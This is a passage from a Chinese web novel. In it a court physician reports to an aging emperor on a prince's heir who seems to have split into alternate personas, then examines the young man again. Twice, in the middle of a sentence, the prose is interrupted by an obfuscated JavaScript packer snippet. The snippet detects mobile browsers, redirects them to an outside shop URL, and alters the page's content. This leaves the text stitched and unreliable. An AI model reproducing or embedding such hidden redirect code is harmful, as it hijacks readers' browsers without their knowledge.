明亲王世子陆云逸,神思久郁,悲惧内结,近有离魂分魄之象。发作时言行气质迥异平日,或沉默戒备,拒不应答;或自称“鸯鸯”,误认亲眷。发作后多不能尽记。其症非鬼魅邪祟,亦非寻常癫狂,疑为旧伤积压,遇外事激发,心神不能独承,故分而应之。 写到“心神不能独承”时,颜淞停了很久。 这几个字,似乎最接近他这些日子的所见。 可拿给皇帝看,又显得太像祝由师的揣测。 皇帝要的是能用的判断。 而他给不出。 颜淞又写: 此症不宜骤惊,不宜强迫追问,不宜以妄言斥之。若强行破其所执,恐伤神更甚。近两日病势稍稳,尚能饮食、应答,然仍须再察数日,辨其发作之由,再议治法。 写完最后一句,他搁下笔。 窗外夜色沉沉,太医院里有人低声说话,很快又远了。药房那头偶尔传来抽屉开合声,像有人还在配夜里的丸散。 颜淞把那份简述吹干,折好,压在医案底下。 这一夜,他睡得极浅。 第二日清晨,他按规矩递了牌子。 御前没有立刻传他。 这也是常事。皇帝日理万机,折子、廷议、部院奏报都排在前头,一个太医的复命,若不是马上要命的急症,便只能等着。 颜淞在太医院等到午后。 期间,他几次把那份简述拿出来,又重新折好。他知道,真正难的不是写在纸上的话,而是皇帝会问什么。 申初刚过,御前终于传话,让颜淞入内回禀。 他随传旨的小太监往内廷去。 宫中白日与夜里不同。夜里只剩灯火和风声,白日却处处有规矩在动。远处有内侍捧着折匣走过,两个宫女低眉顺眼地避到廊下。宫墙朱红,琉璃瓦在淡薄的日光下冷冷发亮。颜淞低头走着,眼睛只能看见青石地面和前头太监衣摆的角。 他虽在太医院任职,却不是常出入御前的人。 给贵人、宫女、内侍看些惊悸、梦魇、失魂之症,已算他平日接触宫禁最多的时候。至于皇帝,他只远远听过圣驾出行的动静,从未真正面圣。 太医院里那些有资历的御医倒常谈起皇帝。 他们说陛下虽已六十余岁,精神仍好,目光极重,寻常人不敢直视。又有人说,陛下有真龙天子之相,坐在那里不说话,也叫人自觉矮三分。 也有人私下说过另一种话。 那是一个雨夜,几个太医在药房后头烤火。有人不知怎么说起先帝旧事,声音压得很低,说当年皇位更替时,宫里也不是全无风声。还没等他说完,旁边年长的医官便立刻打断,斥了一句:“不要命了?这话也是你能说的?” 那人脸色一白,忙说自己酒后胡言。 旁人也立刻岔开话,说起药材受潮的事。 颜淞那时坐在角落,没有插话。可这句话,他一直记得。 真龙天子之相。 疑似得位不正。 这两句话原不该放在一处,可在太医院那些隐秘的闲谈里,它们偏偏都指向同一个人。 更何况,颜淞还听过一件事。 明亲王陆棣铭与皇帝陆棣昤是双生兄弟。 两人年轻时几乎一模一样。 只是皇帝久居深宫,养尊处优,肤色更白,仪态更沉,又蓄须。明亲王早年在民间走过许多地方,直至当今皇帝登基后才回到京城,他皮肤略粗些,也不蓄须,看着比皇帝更疏朗。大臣多蓄须,皇帝自然也蓄,明亲王却始终不蓄,这便成了兄弟二人最明显的分别。 颜淞没有见过皇帝。 却在明亲王府远远见过陆棣铭一回。 那一回明亲王从廊下走过,只看了颜淞一眼,便让他心头一凛。 如果皇帝与明亲王长得极像,那么待会儿御案之后坐着的,大约便是那张脸,却更重,更冷,也更不可直视。 想到这里,颜淞的手心微微出了汗。 御书房外,灯火明亮。 门前值守的太监早得了吩咐,见颜淞来,先低声问了姓名,又进去通传。不多时,那太监出来,神色比方才更小心些。 “颜太医先候一候。” 颜淞忙低头应是。 太监看了他一眼,又低声道:“恬贵人正在内里侍墨,咱家进去回一声。” 恬贵人。 颜淞听过这个名字。 她是今岁刚入宫的新人,入宫不久便得了宠。皇帝六十余岁,仍旧维持三年一次选妃的旧制。朝中无人敢多言,反倒有大臣上表称此乃宫闱承平、国祚绵长之象。 太医院里也有人去给恬贵人看过病。 倒不是什么大病。 听说是去给她左腕内侧一处旧疤淡痕。那太医回来后,几日都像有些心神不属。旁人问他,他起初不说,后来才道:“恬贵人那样的容貌,莫说宫里,就是画上也少见。” 有人笑他:“怎么个少见法?” 那太医压低声音说:“眉眼像春山含雨,唇色不点而红,连说话都像怕惊着人。她伸手让我看腕上旧疤时,我只觉得那疤落在那样的手上,简直像白玉上沾了一点灰。” 话音刚落,旁边年长些的太医便瞪他。 “你胆子大了?妃嫔容貌也是你能这样说的?叫人听见,还想不想要脑袋?” 那太医立刻住了口。 后来再有人拿这事打趣,他便再不肯说了。 颜淞当时只当闲话听过,并未往心里去。如今站在御书房外,忽然听见“恬贵人”三字,才想起这些旧言。 内室里隐约有细碎动静。 不多时,门开了。 一个女子从里头退出来。 颜淞立刻低下头,不敢看。 只在视线余光中见到一角浅杏色裙摆,绣着极细的银线花纹。那女子走过时,带来一点淡淡香气,不浓,像春日里初开的花。她步子很轻,身边有宫女扶着,经过颜淞身前时,似乎并没有停。 她的袖子垂得很低。 颜淞只看见衣袖在身侧轻轻一晃,连手腕也没有露出来。 恬贵人走远后,御前太监才出来。 “颜太医,陛下宣。” 颜淞深吸一口气,入内。 御书房里很暖。 这是他进门后的第一个感觉。 外头是冬日冷风,里头却暖得像另一个季节。可这暖意并不松散,反而让人更紧。炭火似乎烧得极好,没有半点烟气,只在空气里留下一种极淡的木炭清气。颜淞进门后不敢乱看,却仍从低垂的视线里看见了许多东西。 地上铺着厚毡,踩上去没有声。毡边绣着深色云纹,云纹一圈一圈延到御案前便停住了。两侧立着高大的书架,书脊整齐,颜色深沉。靠墙有一架紫檀多宝格,格中似乎摆着玉器、古铜小鼎和几卷轴画。窗下立着青铜仙鹤灯,鹤口衔着灯盏,灯光静静落在案前。 御案比他想象中宽大。 案上堆着几摞折子,有的已经朱批,有的还用黄绫束着。旁边放着朱笔、玉镇、铜炉。铜炉里燃着香,香气极淡,不像王府那种温柔的沉水香,而是更清、更冷,像冬日里被雪压过的松枝。 颜淞只敢看见这些。 再往上,便是明黄。 一道垂下的衣袖。 御案后一片沉稳的影子。 他不敢再看。 他进门便走到规定的地方跪下行礼。 “臣太医院祝由科颜淞,叩见陛下。” 上方很久没有声音。 那一刻,颜淞只听见自己的心跳。 御书房里分明有炭火,有灯,有太监轻微的呼吸声,可皇帝不说话,整个屋子便像被压低了三分。 终于,上头传来一道声音。 “起来回话。” 声音不高。 也不重。 却不容人迟疑。 颜淞起身,却仍垂着眼,不敢直视御案之后。 “明亲王世子的病,看得如何?” 第一句话便是病。 颜淞从袖中取出简述,双手呈上。 御前太监接过,递到御案上。 御案后传来纸页展开的声音。 颜淞低声道:“回陛下,世子之症,非寻常惊悸,亦非寻常癫狂。臣见其神思久郁,悲惧内结,似有离魂分魄之象。” “离魂分魄?” 皇帝慢慢重复了一遍。 颜淞背后微微发紧。 这个词说出口,便已经危险。 民间常把此类病与鬼神邪祟相连。颜淞是祝由师,最怕皇帝以为他故弄玄虚。 他忙道:“臣所言离魂分魄,并非指鬼魅邪祟。乃心神受创过重,一时不能独承,故病发时言行如分作数端。发作后,又多不能尽记。” 御书房里安静了片刻。 皇帝没有斥他。 这已经让颜淞稍稍松了半口气。 皇帝问:“几端?” 颜淞答:“臣所见,至少二端。一则沉默戒备,与平日温和之态迥异,不肯多言;一则自称鸯鸯,误认明亲王府中一位萍儿姑娘为母。” “鸯鸯?” “是。” “女子?” 颜淞道:“听其称谓,似为女子。” 皇帝没有继续问“鸯鸯”是谁。 他不问,颜淞也不敢多说。 过了一会儿,皇帝道:“可伤人?” “未见。” “可自伤?” “暂未见。” “眠食如何?” “前几日睡眠不稳,食少。昨日病势稍缓,能进粥饭,亦能如常应答。” 皇帝没有立刻说话。 颜淞听见纸页被放下的声音。 “也就是说,渐稳。” “是。”颜淞道,“但仍需再察数日。” 皇帝似乎对这个回答并不意外。 “你能治?” 颜淞伏身道:“臣不敢言能治本。眼下只能先安其神,稳其眠食,使其不惊不乱。待其病势更稳,再缓缓辨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520944|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明数重言行之由来。” “不可急?” “不可急。” 皇帝沉默。 颜淞觉得这沉默像一只手,按在他的背上,不重,却让他动不得。 片刻后,皇帝问:“你怕担责?” 颜淞心头一震,立刻跪下。 “臣不敢。臣只是怕误病。” 这话说完,他额上已经出了汗。 皇帝这句话并不严厉,却比严厉更难接。 若他答“怕”,便显得无胆;若答“不怕”,又像逞能。只能说怕误病。 御案后传来极轻的一声鼻息。 像笑,又不像笑。 “知道怕误病,便还算医者。” 颜淞伏在地上,不敢接话。 皇帝道:“起来。” 颜淞起身。 皇帝问:“病因。” 颜淞斟酌道:“世子离京游历,沿途多见惨事。旧创积心,悲惧相激,应为诱因。” 皇帝抓住了其中两个字。 “旧创?” 颜淞心里一紧。 “臣以为,此症恐非一日之病。只是具体旧创何在,臣尚不敢妄断。” 皇帝没有再追问。 这反倒让颜淞觉得皇帝更难测。 若是寻常人,听见旧创,多半会立刻问“从前受过什么”。可皇帝没有。他似乎不需要从颜淞这里问,便已经知道许多旁人不知道的事。又或许,他根本不愿在一个太医面前打开这层。 御案上的朱笔被拿起,又放下。 皇帝道:“明亲王知道几分?” 颜淞答:“臣未曾见明亲王殿下。王府中照看世子的,多为萍儿姑娘。” “萍儿。” 皇帝又问:“她如何?” “萍儿姑娘忧心世子病情,照看细致。臣问话时,她多谨慎作答。” “谨慎?” 颜淞心里一凛。 他说错了吗? 他忙道:“臣是说,萍儿姑娘关心则乱,恐说错话影响诊治。” 皇帝没有评价。 这种不评价,比训斥更叫人不安。 过了一会儿,皇帝道:“继续看。” 颜淞立刻低头:“臣遵旨。” “再观察几日。” “是。” “若病势稳了,递一份简报进来。若有变,随时递。” “臣明白。” 皇帝说到这里,似乎已经定了章程。 但他没有立刻让颜淞退下。 御书房里又安静下来。 颜淞的心也随之悬起。 皇帝忽然道:“明亲王府里,近来人多事杂。” 颜淞不知如何接,只能低头听着。 皇帝继续道:“病人最忌人声杂乱。太医院也一样,药房里风一多,药味就乱了。” 这句话听起来像闲话。 可颜淞后背却瞬间绷紧。 他明白了。 皇帝没有说“不许外传”。 也没有说“泄露者罪”。 可这句话便已经足够。 明亲王府里不能乱传。 太医院里也不能乱传。 病案只能是病案,不能变成闲话。 颜淞立刻跪下。 “臣明白。臣会谨守病案,不使旁人扰动世子病情。” 皇帝淡淡道:“你是聪明人。” 颜淞头垂得更低。 “臣不敢。” “聪明人不要多想。”皇帝道,“把病看好。” 颜淞心中一寒。 这句话比方才那句更明白。 不要多想。 不要把陆云逸所说旧事往粮政、商路、瑞国、明亲王府旧事上想。 至少不要在不该想的地方想。 颜淞叩首:“臣谨记。” 皇帝没有再说话。 过了一会儿,他道:“退下吧。” 颜淞叩首,起身,倒退着离开御书房。 直到出了门,被廊下冷风一吹,他才发现自己的后背已经湿透。 御书房外的太监看了他一眼,没有多问,只低声道:“颜太医慢走。” 颜淞行了一礼,沿着宫道往外走。 走出一段后,他才敢稍稍抬头。 天还没有全黑,宫墙上方露出一线灰蓝色的天。几只鸟从檐角掠过,很快不见。 他忽然想起御书房里那句话。 太医院也一样,药房里风一多,药味就乱了。 皇帝不必发怒。 也不必把话说尽。 这样轻轻一句,便足够叫人知道什么该说,什么不该说。 颜淞走回太医院时,天色已经暗下来。 值房里的灯还亮着。 他坐到案前,许久没有动笔。 最后,他在今日病案末尾添了几行: 入御前回禀。陛下问病势,臣答:渐稳,仍需再察。陛下命继续诊治,数日后再递简报;若有变,随时上闻。病案须谨慎,不可外传。 写到最后一行时,颜淞停了一下。 然后他把“不可外传”四个字划去,改成: 不可使旁人扰动病情。 这样写,便像医嘱。 也像皇帝真正说过的话。 颜淞放下笔,望着那行字看了很久。 他知道,从今晚起,陆云逸的病不只在明亲王府里。 它已经进了御书房。 而还有多少东西会被卷进这张看不见的网呢? 20. 晴窗按脉定离魂 颜淞那一夜没有睡好。 从御前回来后,他在太医院的值房里坐了很久。桌上的灯剪过一回,火苗低低地亮着,把案上的方笺照出一层淡黄的光。 他没有再重写病案。 该写给皇帝看的话,白日里已经说了。皇帝信不信,信多少,都不是他一个太医能左右的事。皇帝没有立刻定论,准他继续问诊,这样的话落在别人耳中或许只是恩准,落在颜淞心里,缺项一块压在胸口的石头。 皇帝不是寻常病家。 明亲王府的小王爷,也不是寻常病人。 若只是普通人家的儿子,病了便治,疯了便养,治不好,也不过是一家一户的痛苦。可陆云逸不同。他身上牵着宗室,牵着皇帝,也牵着许多外人看不见的忌讳。一个病名写轻了,是误诊;写重了,便可能误人一生。 颜淞坐在太医院值房里,灯火低低燃着。 眼下真正要紧的,是明日再去王府时,他得拿出一点治法来。 可这治法并不好拿。 颜淞这些年看过惊悸、梦魇、失魂,也看过哀伤过度后不肯说话的人。可陆云逸这样的病,他并没有真正治过。 一个人说自己见过死人,听过死人说话,并不稀奇。世间苦人太多,人若痛到极处,总会在梦里给亡者留一条路。可陆云逸的情形又不同。他有时清醒得过分,有时又像被旧事拖走。说话有章法,记事也清楚,却偏偏在某些时候露出另一副神色。 这不是寻常梦魇。 也不像寻常癫狂。 案上摊着师傅留下的手札。他没有再去翻前头那些旧案。那些人,他早已记在心里。寡妇、书生、被盗匪掳过的女子,各有各的苦处,也各有各的异相。可陆云逸的病,不能完全套进其中任何一桩。再看下去,也不过是多添几分心惊。颜淞这回只看治法。 师傅在册子里写得简单。 先安其身,再安其神。不可骤压。不可强破。药只助眠,不可代问。若病者自知有异,当顺其自知,缓缓归一。 颜淞盯着“药只助眠,不可代问”这一句看了很久。 太医院里的人最容易相信药,也最容易不相信药。寻常风寒,开方服下,发汗退热;刀伤出血,止血敷药,过些日子便能见好。可人心里的裂处,不是几味草木能缝起来的。 他想了想,另取一张纸,写了一个安神方。 酸枣仁、茯神、远志、柏子仁、夜交藤、合欢皮,再以甘草少许调和。药性不猛,不求立时见效,只求夜间少些惊醒,白日精神不至于散得太厉害。 写到朱砂时,他停住笔,又把那味药划去了。 朱砂镇心,太医常用。可陆云逸不是那种满屋乱撞、神智全失的病人。若用药太重,把人压得昏沉,反倒误了后面的问诊。 颜淞把方子吹干,折好,压在药箱里。 外头夜深了,太医院的走廊里有人提灯走过,脚步声很轻。药房那边传来抽屉开合的声音,大约还有人给宫中贵人配夜里的丸散。 颜淞靠在椅背上,闭了闭眼。 他想起白日里皇帝看他的眼神。 那不是寻常病家听大夫说病的眼神。那眼神里有审度,有疑心,也有一种高高在上的耐心。皇帝没有急着否定他,也没有全然相信他。只是准他继续看,继续问,继续写。 这便够了。 至少眼下够了。 第二日一早,颜淞带着药箱去了明亲王府。 冬日难得有晴光。虽不暖,照在王府青石阶上,却总比阴雨时让人心里松快一点。吴老仆在门内候着,见他来了,忙上前行礼。 “颜太医。” 颜淞还礼,问:“殿下今日如何?” 吴老仆道:“比前两日好些。” 颜淞看了他一眼。 老仆说话很谨慎。王府里的人大约都被萍儿叮嘱过,陆云逸这几日说过什么、做过什么,不能随意传到他耳中。这样也好。若让病人从旁人口中听见自己的异状,未必是好事。 颜淞问:“饮食呢?” “早上用了半碗粥,还用了些蒸饼。” “睡得如何?” “听萍儿姑娘说,夜里醒过一回,但不曾闹。” 老仆说到“不曾闹”三个字时,声音压得很低,像怕被谁听见。 颜淞没有多问。 吴老仆本要领他往听雪斋去,走过一道月洞门时,却忽然停了停。 远处传来一声闷响。 像是木剑击在桩上。 颜淞循声看去。 吴老仆低声道:“小王爷在小校场。” 明亲王府西侧有一处小校场。 地方不大,四面用矮墙围着,墙边种着几株老松。靠南一侧摆着兵器架,刀枪剑戟都有,只是多半蒙着布。东边立着木桩、沙袋和几只石锁。地上铺过细沙,扫得很平,显然常有人打理。 这是陆云逸小时候练武的地方。 颜淞在太医院当值,听过不少皇子皇孙的事。哪个皇子秋猎时摔了马,哪个皇孙拉弓伤了肩,哪个伴读练枪时砸了脚,这些小伤小病,最后都会绕到太医院来。 陆云逸的名字,他也听过许多回。 京中人都说,明亲王府的小王爷自幼出众。读书不输皇子,骑射也不输皇孙。性情温和,不爱在人前争高低,可每回校考下来,名次总在前头。还有人私下说,陛下待这个侄儿,比待几个亲孙子还上心。 这些话颜淞从前只听过,并未放在心上。 他见陆云逸的次数不多。最早那回是在宫宴上,远远看见一个少年坐在宗室子弟之间,衣冠整齐,眉目清正。那时灯火重,人影杂,他只觉得那孩子气度很好,不像寻常少年浮躁。 这几日问诊,陆云逸多是在屋内。 不是坐在窗下,便是靠在榻边。脸色苍白,眼下有青影,衣衫又宽,看着像一场病已经耗掉了许多气力。颜淞便很难把眼前这个病人,和那些关于“骑射出众”的传闻连在一起。 直到这一刻,他站在小校场边,看见陆云逸收剑回身。 陆云逸穿着一身窄袖青衣,腰间束了革带,头发高高束起,没有披外氅。冬日风冷,他却出了薄汗。额边几缕碎发被汗沾住,脸色仍淡,可眼神比前几日清亮许多。 他手里握着一柄木剑。 木剑击在木桩上,响声沉稳。他的动作并不威猛,也谈不上大开大合。肩背窄,身量也不算高。若拿他同宫里那些正当壮年的皇子相比,确实瘦了一圈,骨架也不宽。站在校场里,乍看不像武人,倒像个病后强撑着出来活动的清贵公子。 可再看下去,又不是那么回事。 他脚步极稳。 进退之间没有多余动作。每一剑出去,都像先在心里算过距离。收时也快,不拖泥带水。比起那些仗着身高力壮便横冲直撞的少年,他的剑法少了几分蛮劲,却多了几分准头和克制。 颜淞忽然明白,为什么那些太医、内侍、宫中武师都说陆云逸厉害。 厉害不一定是力大。 有些人的厉害,是把能用的每一寸力气都用到该用的地方。 陆云逸又刺出一剑,剑尖点在木桩旧痕旁,轻轻一收。 颜淞看着他的身形,心里慢慢生出一点说不清的念头。 皇帝一向重视皇子皇孙教养。陆云逸虽只是亲王之子,却也同那些皇子皇孙一道受教。按说他得的师傅、规矩、课业,都不比旁人少。甚至京里人人都知道,陛下看重他,看重得几乎不像看侄儿,倒像看亲子。 可他终究不是陛下亲生的儿子。 颜淞自己也知道,这念头说不出什么医理。人的身量高矮,原本与许多事有关。饮食、睡眠、筋骨、天生气血,都不是一句话能说尽的。 但人活在这世上,终究也难免信些旁人都信的东西。 皇帝是真龙天子。 皇子皇孙承的是天家正脉。明亲王府再尊贵,陆云逸再得圣心,也终究隔着一层。他瘦一些,清弱一些,似乎也不奇怪。 颜淞想到这里,又觉得自己荒唐。 他是太医,竟也拿这些虚话来想病人的身子。 可有些念头来得快,去得也快,不必写在纸上,更不必说出口。 萍儿从小校场另一侧走过来,手里搭着一件披风。她见颜淞来了,先向他点了点头,又看向场中。 “颜太医来得正好。他今日醒得早,说屋里闷,非要出来走走。” 她嘴上说得平稳,眼神却一直落在陆云逸身上。 颜淞道:“能出来活动,是好事。只是不宜太久。” 萍儿轻声道:“我知道。再练两下就让他回屋。” 颜淞问:“这两日如何?” 萍儿听了这话,眉间微微松了些。 “比前几日稳些。昨夜睡得浅,但没再惊醒。早上用了些饭,也肯同我说话。只是偶尔还是会走神。” “说过什么异样的话吗?” 萍儿没有立刻回答。 她望着校场里那道青色身影,过了一会儿才说:“没有当着下人的面说。夜里醒时,只问过一句,窗外是不是有人。” “你怎么答的?” “我说没有。” 颜淞点点头。 萍儿看向他手里的药箱:“太医今日带了方子?” “是。”颜淞道,“只是安神的轻方。让殿下夜里睡稳些。药不重,也不急着见效。” 萍儿低声问:“能治好吗?” 颜淞沉默片刻。 “药不能治好这样的病。” 萍儿的手指在披风边上轻轻收紧。 颜淞接着道:“但人若总睡不好,心神更难安定。先让他能睡,能吃,能应答,再慢慢问。” 萍儿点了点头,没再追问。 她其实早已听颜淞说过“离魂”这几个字。那时颜淞说得很谨慎,只说像,不敢定。萍儿听懂了,却宁愿不懂。一个人若只是受了惊,总还有慢慢养回来的时候;若说魂分了,魄裂了,便像这孩子从里头碎过一次。 世上没有哪个母亲愿意听这样的话。 哪怕她只是干妈。 场中的陆云逸似乎察觉了他们的目光,收了剑,朝这边看过来。 他把木剑递给旁边小厮,走到萍儿面前。 萍儿立刻把披风给他披上,语气里带着些责备:“出了汗还站在风里。” 陆云逸低头让她系好带子,道:“只练了一会儿。” “你的一会儿,是旁人的半个时辰。” 陆云逸笑了笑,没有反驳。 他转头看向颜淞,神色如常:“颜太医。” 颜淞行礼:“殿下。” “今日又要问诊?” “臣带了方子来,也想再请一次脉。” 陆云逸看了一眼他的药箱:“治我这病的方子?” “不是。”颜淞答得很实在,“只是安神。” 陆云逸似乎觉得这话有趣。 “太医倒不哄人。” “臣若说一剂药下去便能好,殿下也不会信。” 陆云逸拢着披风,慢慢往听雪斋方向走。 “我确实不信。” 颜淞跟在旁边,萍儿落后半步。小厮们远远跟着,不敢靠太近。王府廊下很静,冬日晴光从檐角斜斜落下来,照见廊柱上旧漆的纹路。 两人走进听雪斋。 屋里已经收拾过,炭火烧得不旺不弱,窗户开了一道缝透气。桌上摆着热茶。陆云逸坐下后,萍儿亲自倒了一盏,放到他手边。 他的手腕搁在脉枕上,袖口微微往上一退,露出一截腕骨。 颜淞指尖搭上去时,心里不觉顿了一下。 那腕子太细。 并非病人瘦弱之后那种干枯的细,而是骨节本就生得窄。皮肤也薄,脉在指下跳得轻,像隔了一层细绢。颜淞按过许多年轻男子的脉,尤其是习武之人,哪怕病中虚弱,底下也常有一股阳气撑着,脉来不一定洪大,却该有些开阔之势。 陆云逸的脉却不太一样。 细,缓,沉处有力,却不张扬。寸关之间有郁结,尺部又似藏着一层说不出的寒。若只论病,可说是久郁伤神、气血不足。可落在一个自幼习武、正值青年、又出身富贵的男子身上,便显得有些不合常理。 颜淞的指尖稍稍停了停。 富贵人家的孩子也有天生不足的。何况陆云逸这几年在外游历,风霜劳顿,又受了大惊大痛,脉象柔弱些,并非不能解释。 颜淞换了另一只手,又诊片刻,才收回手。 颜淞收回手,道:“殿下这两日好些,只是神气仍虚,心脉郁结未解。” “太医也觉得好些?” “从脉上看,气息较前日稳。” 陆云逸垂眼看着自己的手腕。 “我也觉得好些。” 陆云逸又道:“大约是因为有些事想明白了。” 颜淞看着他:“殿下想明白了什么?” 陆云逸没有立刻说。 他端起茶盏,热气浮在他眉眼之间,让他的神情显得有些模糊。过了片刻,他才道:“我这几日总在想,林鸯鸯和叶开阳究竟死没死。” 萍儿的脸色轻轻变了。 颜淞没有接话。 陆云逸道:“照我自己说过的故事,她们自然都死了。一个死在广陵,一个死在荒年。人死了,便该埋了,烧了,散了。活人再难过,也得接着过日子。” 他停了停。 “可我有时觉得,她们没死。” 颜淞问:“殿下何以这样觉得?” 陆云逸道:“因为我总觉得她们还在。” 屋里安静下来。 窗缝里有风进来,吹得桌上纸角微微动了一下。 陆云逸看向那张纸,像是忽然想起什么。 “叶开阳之后……”他慢慢重复了一遍,“那段日子,我其实记不清了。” 陆云逸道:“我记得她死了。也记得我赶回去,看见那些东西。再往后,就像有人往我脑子里倒了一盆雾。雾很厚,什么都看不清。” 颜淞没有打断他。 陆云逸继续道:“我记得自己好像走了很多路,也好像很久没有走。有人同我说话,我听不清。有人给我水,我也不知道是谁。白日和夜里混在一起,冷和饿也混在一起。有时候我觉得自己醒着,有时候又觉得自己已经不在那副身子里了。” 颜淞提笔记下。 陆云逸看了一眼他的笔尖,道:“等我稍微清醒些,便觉得路上不是我一个人了。” 颜淞的笔停了停。 “不是一个人?” 陆云逸点头。 “像是三个人同行。” 屋里静了一瞬。 窗外有风吹过,廊下悬着的竹帘轻轻碰了一声。 颜淞问:“哪三个人?” 陆云逸道:“陆云逸,林鸯鸯,叶开阳。” 萍儿的脸色白了一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520945|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却仍强自坐稳,没有出声。 陆云逸像是在努力回忆。 “那时我觉得,陆云逸是金主,是出钱的人。他有身份,有银子,也能同官府说话。林鸯鸯要给年老的母亲找个养老的地方,她性子软,怕人,却心细。叶开阳则是林鸯鸯雇佣的保镖,不大懂人情,却知道怎么活下去。” “我那时候不觉得这有什么不对。一个人太累,三个人走路,仿佛就能轻松些。该说话的时候,陆云逸说。该求人时,林鸯鸯去。该逃命、动手、找路时,叶开阳在前头。” 颜淞道:“殿下可曾有过记忆断续之感?” 陆云逸想了想。 “有。” “怎样断续?” “譬如我明明记得自己坐在窗下,下一刻却发现天已经黑了,茶也冷透了。又譬如我夜里醒来,看见手边放着我不记得拿过的东西。有时候是书,有时候是笔,有时候只是半盏水。” “太医觉得,这像什么?” 颜淞没有立刻回答。 陆云逸道:“不像鬼神吧?” “不是鬼神。” “也不像寻常疯病?” 颜淞慢慢道:“不像寻常癫狂。” 陆云逸追问:“那像什么?” 颜淞的笔悬在纸上。 他先前在病案里已经写过“近有离魂分魄之象”,也同萍儿说过类似的话。可那是写给皇帝看的,是说给看护的人听的。真正当着陆云逸本人说出来,又是另一回事。 病名落到病人耳中,有时像药,有时像刀。 陆云逸看着他,神情很安静。 “太医若有话,不妨直说。我不是小孩子,也不是一听病名便要哭闹的人。” 颜淞道:“殿下未必承受得住。” 陆云逸笑了一下。 “我难道还承受不住一个病名?” 颜淞抬头看他。 陆云逸的脸色仍旧带着病后的苍白,可眼神很稳。那稳里没有咄咄逼人,却像有人把一盏灯放在桌上,逼得黑暗自己往后退。 颜淞终于开口。 “依臣所见,殿下此症,可暂称离魂分魄。” 萍儿早听过这四个字,可此刻当着陆云逸的面再听一遍,仍觉得心口像被人按了一下。她把手藏进袖中,指尖慢慢掐住掌心,不让自己出声。 陆云逸却只是轻轻重复了一遍。 “离魂分魄。” 颜淞道:“这只是暂称,不是定论。人遇大痛,心神不能独承,便可能分出旁的情状来抵御旧伤。有的人忘事,有的人妄语,有的人自称他名,有的人言行气质与平日迥异。殿下不同于寻常病人,尚能自省,也能分辨自己有异,所以臣不敢说重。” 陆云逸道:“心神不能独承,便分而御伤?” 颜淞的目光落在他脸上。 这句话与师傅的手札里的话极近。 但颜淞没有多想。前几日问诊中,他说过类似的意思。陆云逸聪明,听过一遍便能化成自己的话,也不奇怪。 “可这样理解。”颜淞道。 陆云逸低声道:“所以林鸯鸯不是鬼,叶开阳也不是鬼。” “不是。” “那她们是我?” 颜淞顿了顿。 “是殿下心中不能承受之处。” 陆云逸沉默下来。 屋里的炭火轻轻爆了一声。 过了许久,他道:“若她们是我,那她们怕的、恨的、想活的,也都是我?” 颜淞道:“可以这样说。” “若她们做了什么,也是我做的?” 萍儿抬头看他。 陆云逸没有看萍儿,只看着颜淞。 颜淞道:“病中所为,不能全以常时论。可若殿下已经知道自己有此症,往后便要留心诱因。遇到相似之事,先避开。身边也要有可信之人照看。” 陆云逸道:“若避不开呢?” 颜淞没有答得太快。 “那便先保人命。” 陆云逸看着他:“保谁的命?” 颜淞一时无言。 陆云逸像是真的在问病,又像是在问别的东西。若有一日,林鸯鸯怕得不肯见人,叶开阳拿起刀求生,陆云逸本人又不完全记得,那么该保谁的命?病人的?旁人的?还是那些早已死去、却被他留在心里的人的? 颜淞最后只能道:“能保谁,先保谁。” 陆云逸听了这话,慢慢笑了笑。 “太医说的是实话。” 颜淞并不觉得这称得上夸赞。 陆云逸又问:“此症能治吗?” 颜淞道:“能缓,未必能尽除。” “怎么缓?” “先睡好,吃好,少惊少怒。再慢慢问清楚,林鸯鸯何时出现,叶开阳何时出现,她们所惧为何,所守为何。等殿下能分清自己与她们,知道何时是自己,何时是病势牵动,便算有进益。” 陆云逸点点头。 “今日先到这里吧。”他说,“太医把药方留下,我会喝。” 颜淞看了他一眼。 “殿下若服药后昏沉,或心悸不适,须立刻停下。” 陆云逸点头。 萍儿接过方子,仔细看了一遍,又收进袖中。 颜淞把今日所记的纸折好。陆云逸没有问他写了什么,也没有拦。他似乎并不在意那些字最后会不会再送到皇帝案前。 可颜淞知道,他不可能不在意。 这个人只是太会把在意藏起来。 颜淞起身告辞。 萍儿送他到廊下。 走出几步后,她忽然低声问:“颜太医,这病若传出去,会如何?” 颜淞停下。 庭中日光很好,照在枯枝上,却没有多少暖意。 他说:“所以不能传出去。” 萍儿看着他。 颜淞道:“王府中人不可议论。殿下身边也不可骤然更换太多人。若有人把此症当作疯癫邪祟,惊扰了殿下,病势只会更乱。” 萍儿点了点头。 “我会管住他们。” 颜淞看着她,忽然觉得,这个女人其实比王府里许多人都镇定。她不是不怕,只是怕也知道先做什么。难怪陆云逸病成这样,仍最肯认她。 颜淞离开后,萍儿在廊下站了一会儿,才转身回屋。 陆云逸仍坐在窗下。 桌上那盏茶已经冷了。 他望着窗外,不知道在想什么。 萍儿走过去,轻声道:“药一会儿煎好。” 陆云逸应了一声。 萍儿看着他,终究还是问:“云逸,你今日同颜太医说那些话,是不是心里很难受?” 陆云逸收回目光。 他笑了笑。 “没有。” 萍儿不信。 陆云逸道:“我只是忽然觉得,若有一个病名,许多事便好解释了。” 萍儿的心慢慢沉下去。 她不知道这句话哪里不对。 可她听着,就是不安。 